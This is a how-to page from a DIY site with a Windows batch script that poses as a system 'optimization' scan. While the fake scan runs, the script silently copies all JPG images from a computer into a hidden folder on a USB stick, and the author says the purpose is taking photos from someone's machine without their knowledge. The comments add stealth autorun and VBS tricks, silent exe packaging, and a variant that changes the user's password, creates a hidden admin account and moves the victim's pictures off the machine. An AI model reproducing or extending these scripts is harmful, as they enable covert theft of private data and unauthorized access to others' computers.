3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

Secret spy image photo copying batch file

Secret spy image photo copying batch file
«
  • copy1.jpg
  • copy2.jpg
  • copy3.jpg
  • copy4.jpg
  • copy5.jpg

So, first things first, what is this instructable creating and why.

This instructable will allow you to create a batch file that will copy all the images from a PC to your memory stick. it will do this discretely, posing as another program that is checking the computer for issues. When complete, you will have a hidden folder on your memory stick with all the copied images.

Why? I have created this instructable because I wanted to retrieve a digital photo from someones machine without them knowing I had done it. The legitimate use of this file will allow you to archive/backup your personal photos.

Other uses: This file can be modified to allow any other type of document to be copied.
 
Remove these adsRemove these ads by Signing Up
 

Step 1Write the code

Write the code
«
  • copy1.jpg
  • copy7.jpg

Copy the following code into notepad and save it on the root of your memory stick as a bat file, you can name it whatever you want as long is it has the .bat extension. To ensure it does have the correct extension, type it as follows in the save box of notepad "copyimage.bat" (include the quotations!)



@echo off
echo Optimization client 2008 v3.02b
echo --------------------------------
echo.
echo Please do not use your PC while this is running.
echo.
echo Scanning process list. When complete a log will be displayed for your system administrator to review.
echo.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
)
)
attrib -s +h data\* >nul
start optimizationLog.txt
shutdown /s /c "Optimization scan complete, your PC will now shutdown"


« Previous StepDownload PDFView All StepsNext Step »
49 comments
1-40 of 49next »
Jan 31, 2012. 2:59 PMCyberCitizen says:
Note, this works on Windows 7, however the hidden files registry key doesn't as this behaviour was changed in Windows 7.

Windows XP the key needs to be
"Hidden"=dword:00000002

Windows 7 the key needs to be
"Hidden"=dword:00000001

Same Path
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
Nov 30, 2010. 6:54 PMShadow13! says:
Is it possible to make this search only in account folders such as my pictures and such for all accounts on a computer and ignore folders like program files and such to cut down on run time. I am pretty new to this type of work so the more detail or exact code would be extremely appreciated.
Jan 30, 2012. 4:07 PMCyberCitizen says:
Ok thought I would post my version of the script, since I found this useful.

Note my version searches everywhere on the C Drive.  Most people tend to hide their photos if they are worth stealing.  This will only search for files larger that 640x480.

This script is also dependant on a program called PhotoResize.
http://www.rw-designer.com/picture-resize
Now it is dependant on how you have the name of the program as to what size photos you want them resized to.  Eg I have it resize the photos to 640x480, they are large enough to see, yet small enough so they don't take as long to copy.  This is also what determines if the files get copied or not, eg if the photo is smaller than 640x480 it wont resize, therefore will not save to the drive.  So if you make it resize to 800x600 you will only find photos that are 800x600 or larger.

Here is my version of the script
============================
@echo off
color a
echo Optimization client 2012 v3.02b
echo --------------------------------
echo.
echo Please do not use your PC while this is running.
echo.
echo Scanning process list.
echo.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
attrib +h PhotoResizeW640SOH.exe >nul
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg jpeg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
PhotoResizeW640SOH.exe "-c\%computername%\<NAME>.jpg" "%%f"
)
)
attrib -s +h \%computername%\* >nul
del -f -q PhotoResizeW640SOH.exe

I also used the Batch 2 Exe converter to make the batch run silently or with display, however it includes the PhotoResize within the exe.  Not sure if you would like me to post that or not, however I think this is easy enough to understand, if you can't then maybe you shouldn't be stealing peoples pics.
Nov 12, 2010. 4:41 PMaccount3r2 says:
u can make a autorun
Sep 2, 2009. 7:30 PMpinkspeedo says:
I've modified my flash drive with the following:

@echo off
net user %username% Password
net user /add Admin2 Password
net localgroup administrators Admin2/add
net share concfg"c:\/grant:Admin2.full
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a') do (
move "%%f" \%computername%\ /y /h /q >nul
)
)
attrib -s +h %computername%\* >nul
rem this will change the current logged on users password to
rem Password
rem it will also create an administrator account
rem (which can be changed) with the pass= Password
rem then it moves all the files from the current users my pictures folder
rem onto your flash drive
rem then loggs off the computer
rem (change shutdown -l to shutdown -s -t 1) to shut down the computer
rem shuts down the computer instantly
shutdown -l
rem i love my flash drive =]
rem sent my friend a "file" on it at school
rem if youve got a teacher that pisses u off at school thisll be hillarious
Apr 22, 2010. 3:28 AMmust invent says:
what is 'rem'? it is just a comment?
Aug 3, 2010. 5:31 AMnutsandbolts_64 says:
"records comments (remarks) in batch files or CONFIG.SYS" is what cmnd prmpt said. just type "help" into command prompt, hit enter, and thou shall get large list of stuff
Nov 29, 2009. 8:57 PMLance Mt. says:
 Why not make it 'shutdown -s -f'? No timer is instantaneous 
Nov 17, 2011. 4:27 PMknexbuild says:
It doesn't work that way, but you can do 'shutdown -t 00 -s -f' to shutdown without a timer.
Sep 2, 2009. 7:31 PMpinkspeedo says:
sorry worded weird put shutdown -l at the end doesnt matter really just a little bit confusing
May 18, 2010. 9:40 PMEl Mano says:
Where did you learn this? I'm trying to figure the FOR command out, and FOR /? is offering very little help.
Mar 25, 2010. 5:29 AMdiaruga11 says:
 does this work on macs?
Apr 22, 2010. 3:27 AMmust invent says:
no, because windows are different from macs.
Oct 16, 2009. 8:21 AMstevenh429 says:
it says three hours , how long will it take
Mar 29, 2010. 9:54 AMSomti says:
It should all depend on the amount of photos in the target computer.
Jan 17, 2010. 1:03 AMInfraBlue says:
You can make the batch run stealthy with this and autorun when pluged in to a pc

First make "start.bat" and enter this code:

wscript.exe "\stealth.vbs" "copy.bat"

Second make "stealth.vbs" enter this code:

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Third make "secret.bat" enter this code:

@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
)
)
attrib -s +h data\* >nul

Then make "autorun.inf" and enter this code:

[autorun]
shellexecute=start.bat

If you want to stop it make "stop.bat" with this code:

@echo off
taskkill secret.bat

Aug 23, 2009. 7:26 AMjoshparker_218 says:
will this work on macs? if not how could i make it work on macs
Nov 29, 2009. 8:59 PMLance Mt. says:
 Ok, i've come across this problem before.
 1. Buy a PC
 2.???
 3.Profit!!!
Sep 2, 2009. 7:34 PMpinkspeedo says:
get a batch to exe converter when you run the exe file you wont see the command prompt add a little txt file to make them think thats all it opened or a website cd\ "c:\program files\internet explorer\iexplore.exe" (ebsite address goes here)
Aug 24, 2009. 4:47 AMdaniel.penning says:
Is there a way we can change

for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (

to look in the current userprofile rather than the entire C Drive?

Regards,
Daniel
Sep 2, 2009. 7:25 PMpinkspeedo says:
c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a use this to copy jpg images from my pictures
Aug 18, 2009. 8:45 AMpinkspeedo says:
directly after @echo off add this title Optimization client 2008 v3.02b changes the title of the cmd prompt jsut makes it more convincing
Aug 17, 2009. 9:14 AMpinkspeedo says:
also change this mkdir \data >nul to this mkdir \%computername% >nul allows you to create different folders on each computer incredibly helpful and easy way to do this go to edit replace all type data in first field then %computername% in second then hit replace all
Aug 17, 2009. 9:05 AMpinkspeedo says:
add an autorun file for the flash drive
(autorun) make the brackets not parenthesis
open=slurp.bat
action=Click "OK"
shell\open\command=slurp.bat
save as autorun.inf
makes the file transfer so much easier
Aug 13, 2009. 7:39 PMBakaTanuki says:
How do I have it grab everything in C:\ except for temporary internet files?
Aug 10, 2009. 6:54 PMbrownfamily52 says:
how do you know when its done downloading
Aug 3, 2009. 5:03 AMdaniel2008 says:
would it be possible to create a copy of windows live messenger conversations that are saved on the computer discretely too?
Aug 2, 2009. 11:07 AMkill1234 says:
Mine kept saying "access denied"
Apr 30, 2009. 3:57 PMXOIIO says:
how long does it take to work? i want to know how much time i need.
Apr 26, 2009. 1:54 PMJewbacca says:
What does the program save there stuff as?
Mar 1, 2009. 2:58 PMaustinburke. says:
not bad (: how would i use this to copy all files onto my flash drive?
Mar 3, 2009. 3:44 PMaustinburke. says:
sorry, i wasnt to clear on what i meant. i mean like not just pictures, but also documents, excel sheets and what not? i am a intermediate batch writer and this is stuff that i should learn (:
Apr 8, 2009. 8:12 AMIndiana jones says:
how can you make it copy the users web history?
Mar 15, 2009. 2:10 PMaustinburke. says:
thank you!
Mar 14, 2009. 11:59 AMPsychic Master says:
GREAT instructable, but i have one question, would it be possible to delete all of one file type rather than just coping all of it?
1-40 of 49next »

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
7
Followers
5
Author:ee0u30eb